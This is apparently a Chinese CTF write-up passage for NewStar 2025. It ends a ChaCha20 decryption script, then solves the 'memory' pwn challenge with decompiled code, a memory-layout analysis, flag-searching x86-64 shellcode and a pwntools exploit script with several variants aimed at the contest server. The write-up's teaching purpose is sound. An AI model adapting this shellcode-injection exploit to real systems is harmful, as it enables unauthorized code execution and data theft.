    0x48, 0xDA, 0xBE, 0x42, 0x1C, 0xD8, 0x59, 0x6B,
    0xC7, 0xB2, 0xCA, 0x02, 0x0B, 0x21, 0x6B, 0x10,
    0x4D, 0x4E, 0x7B, 0xEB, 0xCE, 0x9F, 0xFB, 0x21,
    0xE9, 0xCF, 0x6B, 0xC2, 0xC2, 0x4C, 0xB3, 0x4D
])

# 密钥(32字节)
key = b"String_Theocracy" + bytes.fromhex("79636172636F6568545F676E69727453")

# Nonce(12字节)
nonce = b"NewStar 2025"

# 解密
cipher = ChaCha20.new(key=key, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)

print(f"Flag: {plaintext.decode()}")

image-20251026180803143


Pwn

memory

题目描述:我忘记了flag,你能帮我找到flag吗

1. 程序分析

1.1 main 函数伪代码

int main(int argc, const char **argv, const char **envp) {
    char *s;
    size_t v5;
    ssize_t n;
    __int64 buf[64];
    
    init(argc, argv, envp);
    memset(buf, 0, sizeof(buf));
    
    // 1. 读取 flag 文件到内存
    s = (char *)read_flag("/flag", argv, v9);
    v5 = strlen(s);
    
    // 2. 在 flag 末尾添加 3 字节机器码
    s[v5]     = 0x48;  // xor rax, rax 指令
    s[v5 + 1] = 0x31;
    s[v5 + 2] = 0xC0;
    
    // 3. 提示用户输入
    puts("I forgot the flag.");
    puts("Can you find it?");
    printf(" > ");
    
    // 4. 读取用户输入(最多 0x200 字节)
    n = read(0, buf, 0x200uLL);
    if (!n) {
        perror("read");
        exit(1);
    }
    
    // 5. 将用户输入复制到 s[v5+3]
    memcpy(&s[v5 + 3], buf, n);
    
    // 6. 设置内存为可读可执行
    if (mprotect(s, 0x1000uLL, 5) == -1) {  // PROT_READ | PROT_EXEC
        perror("mprotect");
        exit(1);
    }
    
    // 7. 安装 seccomp 沙箱
    install_seccomp();
    
    // 8. 跳转到 s 地址执行
    __asm { jmp rax }
    
    return result;
}

1.2 read_flag 函数

void *read_flag(const char *a1) {
    int fd;
    void *v3;
    
    // 打开文件
    fd = open(a1, 0);
    if (fd < 0) {
        perror("Can't open flag file: ");
        exit(1);
    }
    
    // 使用 mmap 将文件映射到内存
    v3 = mmap(0LL, 0x1000uLL, 3, 2, fd, 0LL);  // PROT_READ|PROT_WRITE, MAP_PRIVATE
    if (v3 == (void *)-1LL) {
        perror("mmap");
        exit(1);
    }
    
    close(fd);
    return v3;
}

关键点

  • 使用 mmap 将 flag 文件映射到内存
  • 初始权限为 RW (读写)
  • 映射大小为 0x1000 (4096 字节)

1.3 install_seccomp 函数

unsigned __int64 install_seccomp() {
    __int16 v1;
    void *v2;
    
    v1 = 9;
    v2 = &filter_3801;
    
    // 设置 NO_NEW_PRIVS
    if (prctl(38, 1LL, 0LL, 0LL, 0LL) < 0) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)");
        exit(2);
    }
    
    // 安装 seccomp 过滤器
    if (prctl(22, 2LL, &v1) < 0) {
        perror("prctl(PR_SET_SECCOMP)");
        exit(2);
    }
    
    return ...;
}

关键点

  • 安装了 seccomp 规则限制系统调用
  • 通常 writeexit 是允许的

2. 内存布局分析

程序执行时,内存布局如下:

低地址
┌──────────────────────────────┐
│  flag 内容                    │  <- s (rax 指向这里)
│  "flag{xxx...xxx}\n"         │     程序从这里开始执行
│  (长度约 30-50 字节)           │
├──────────────────────────────┤
│  0x48  (xor rax, rax 第1字节) │  <- s[v5]
│  0x31  (xor rax, rax 第2字节) │  <- s[v5+1]
│  0xC0  (xor rax, rax 第3字节) │  <- s[v5+2]
├──────────────────────────────┤
│  用户输入的 shellcode          │  <- s[v5+3]
│  (最多 0x200 = 512 字节)       │     我们控制的区域
│                              │
└──────────────────────────────┘
高地址

3. 解题思路

3.1 核心思想

程序会从地址 s 开始执行,这意味着:

  1. 首先”执行” flag 内容(虽然不是有效机器码,但 CPU 会尝试解释)
  2. 然后执行 xor rax, rax 指令
  3. 最后执行我们的 shellcode

关键发现:flag 就在内存中,位于我们 shellcode 的前面


3.2 攻击策略

既然 flag 在内存中且位置已知(相对位置),我们的 shellcode 只需要:

  1. 定位 flag:从当前位置向前搜索 “flag{” 字符串
  2. 计算长度:找到 flag 的结束位置(} 或换行符)
  3. 输出 flag:使用 write(1, flag_addr, length) 系统调用

4. 完整攻击脚本

4.1 完整shellcode

/* 获取当前执行地址 */
lea rsi, [rip]

/* 设置搜索范围限制,避免无限循环 */
mov rcx, 500

search_loop:
    /* 向前移动一个字节 */
    sub rsi, 1
    dec rcx
    jz not_found
    
    /* 比较 "flag" (0x67616c66 小端序) */
    cmp dword ptr [rsi], 0x67616c66
    jne search_loop
    
    /* 验证下一个字节是否为 '{' */
    cmp byte ptr [rsi + 4], 0x7b
    jne search_loop

/* 找到了 "flag{",现在计算长度 */
xor rcx, rcx

find_len:
    mov al, byte ptr [rsi + rcx]
    cmp al, 0x7d        /* '}' */
    je found_end
    cmp al, 0x0a        /* 换行符 */
    je found_end
    cmp al, 0x00        /* null */
    je found_end
    inc rcx
    cmp rcx, 100        /* 最大长度限制 */
    jl find_len
    jmp output

found_end:
    inc rcx             /* 包含结束字符 */

output:
    /* write(1, rsi, rcx) */
    mov rdi, 1          /* stdout */
    mov rdx, rcx        /* 长度 */
    mov rax, 1          /* sys_write */
    syscall
    jmp exit_now

not_found:
    /* 输出错误信息 */
    mov rdi, 1
    lea rsi, [rip + err_msg]
    mov rdx, 15
    mov rax, 1
    syscall

exit_now:
    /* exit(0) */
    xor edi, edi
    mov rax, 60         /* sys_exit */
    syscall

err_msg:
    .ascii "FLAG NOT FOUND\n"

4.2 python exploit脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Memory PWN - 最终版本"""

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

REMOTE_HOST = "39.106.48.123"
REMOTE_PORT = 39263

def exploit_v1():
    """版本1: 使用 lea [rip] 向后读取"""
    return asm('''
        /* 获取当前位置 */
        lea rsi, [rip]
        
        /* 向后 200 字节(覆盖 flag 区域) */
        sub rsi, 200
        
        /* 输出 200 字节 */
        mov rdi, 1
        mov rdx, 200
        mov rax, 1
        syscall
        
        /* exit */
        xor edi, edi
        mov rax, 60
        syscall
    ''')

def exploit_v2():
    """版本2: 多次尝试不同偏移"""
    return asm('''
        /* 输出标记 "[START]\n" */
        mov rdi, 1
        lea rsi, [rip + start_msg]
        mov rdx, 8
        mov rax, 1
        syscall
        
        /* 获取当前位置 */
        lea rbx, [rip]
        
        /* 尝试偏移 -50 */
        lea rsi, [rbx - 50]
        mov rdi, 1
        mov rdx, 50
        mov rax, 1
        syscall
        
        /* 输出分隔符 "\n[NEXT]\n" */
        mov rdi, 1
        lea rsi, [rip + next_msg]
        mov rdx, 8
        mov rax, 1
        syscall
        
        /* 尝试偏移 -100 */
        lea rsi, [rbx - 100]
        mov rdi, 1
        mov rdx, 50
        mov rax, 1
        syscall
        
        /* 输出结束标记 "\n[END]\n" */
        mov rdi, 1
        lea rsi, [rip + end_msg]
        mov rdx, 7
        mov rax, 1
        syscall
        
        /* exit */
        xor edi, edi
        mov rax, 60
        syscall
        
    start_msg: .ascii "[START]\\n"
    next_msg: .ascii "\\n[NEXT]\\n"
    end_msg: .ascii "\\n[END]\\n"
    ''')

def exploit_v3():
    """版本3: 搜索并输出"""
    return asm('''
        /* 获取当前地址 */
        lea rsi, [rip]
        
        /* 限制搜索范围 */
        mov rcx, 500
        
    search_loop:
        sub rsi, 1
        dec rcx
        jz not_found
        
        /* 搜索 "flag" (0x67616c66) */
        cmp dword ptr [rsi], 0x67616c66
        jne search_loop
        
        /* 检查下一个字节是否是 '{' */
        cmp byte ptr [rsi + 4], 0x7b
        jne search_loop
        
        /* 找到了!计算长度 */
        xor rcx, rcx
    find_len:
        mov al, byte ptr [rsi + rcx]
        cmp al, 0x7d
        je found_end
        cmp al, 0x0a
        je found_end
        cmp al, 0
        je found_end
        inc rcx
        cmp rcx, 100
        jl find_len
        
    found_end:
        inc rcx  /* 包含结束字符 */
        
        /* 输出 flag */
        mov rdi, 1
        mov rdx, rcx
        mov rax, 1
        syscall
        jmp do_exit
        
    not_found:
        /* 输出错误 */
        mov rdi, 1
        lea rsi, [rip + err_msg]
        mov rdx, 15
        mov rax, 1
        syscall
        
    do_exit:
        xor edi, edi
        mov rax, 60
        syscall
        
    err_msg: .ascii "FLAG NOT FOUND\\n"
    ''')

def exploit_v4():
    """版本4: 简单向后固定距离"""
    return asm('''
        /* 获取当前位置 */
        lea rsi, [rip]
        
        /* 向后 80 字节 */
        sub rsi, 80
        
        /* 输出 100 字节 */
        mov rdi, 1
        mov rdx, 100
        mov rax, 1
        syscall
        
        /* exit */
        xor edi, edi
        mov rax, 60
        syscall
    ''')

def run_exploit(version):
    """运行指定版本的 exploit"""
    exploits = {
        1: ("向后读取200字节", exploit_v1),
        2: ("多次尝试不同偏移", exploit_v2),
        3: ("搜索flag字符串", exploit_v3),
        4: ("向后80字节", exploit_v4),
    }
    
    if version not in exploits:
        print(f"[-] 无效版本: {version}")
        return
    
    name, func = exploits[version]
    print(f"\n[*] 使用版本 {version}: {name}")
    print("="*60)
    
    io = remote(REMOTE_HOST, REMOTE_PORT)
    
    try:
        io.recvuntil(b' > ', timeout=2)
    except:
        pass
    
    shellcode = func()
    print(f"[*] Shellcode 长度: {len(shellcode)} 字节")
    
    io.send(shellcode)
    
    result = io.recvall(timeout=3)
    print(f"\n[+] 收到 {len(result)} 字节:")
    if result:
        print("="*60)
        print(result.decode('latin-1', errors='replace'))
        print("="*60)
        if b'flag{' in result or b'FLAG{' in result:
            print("\n🎉 找到 Flag!")
    else:
        print("(无输出)")
    
    io.close()

def main():
    import sys
    
    if len(sys.argv) < 2:
        print("用法: python3 exp_final.py <版本号>")
        print("\n可用版本:")
        print("  1 - 向后读取200字节(暴力)")
        print("  2 - 多次尝试不同偏移(调试用)")
        print("  3 - 搜索flag字符串(智能)")
        print("  4 - 向后80字节(快速)")
        print("\n推荐: 先试 2,找到合适偏移后用 3")
        return 1
    
    version = int(sys.argv[1])
    run_exploit(version)
    return 0

if __name__ == '__main__':
    exit(main())

image-20251026173914935


Tagged: CTFNewStar

评论区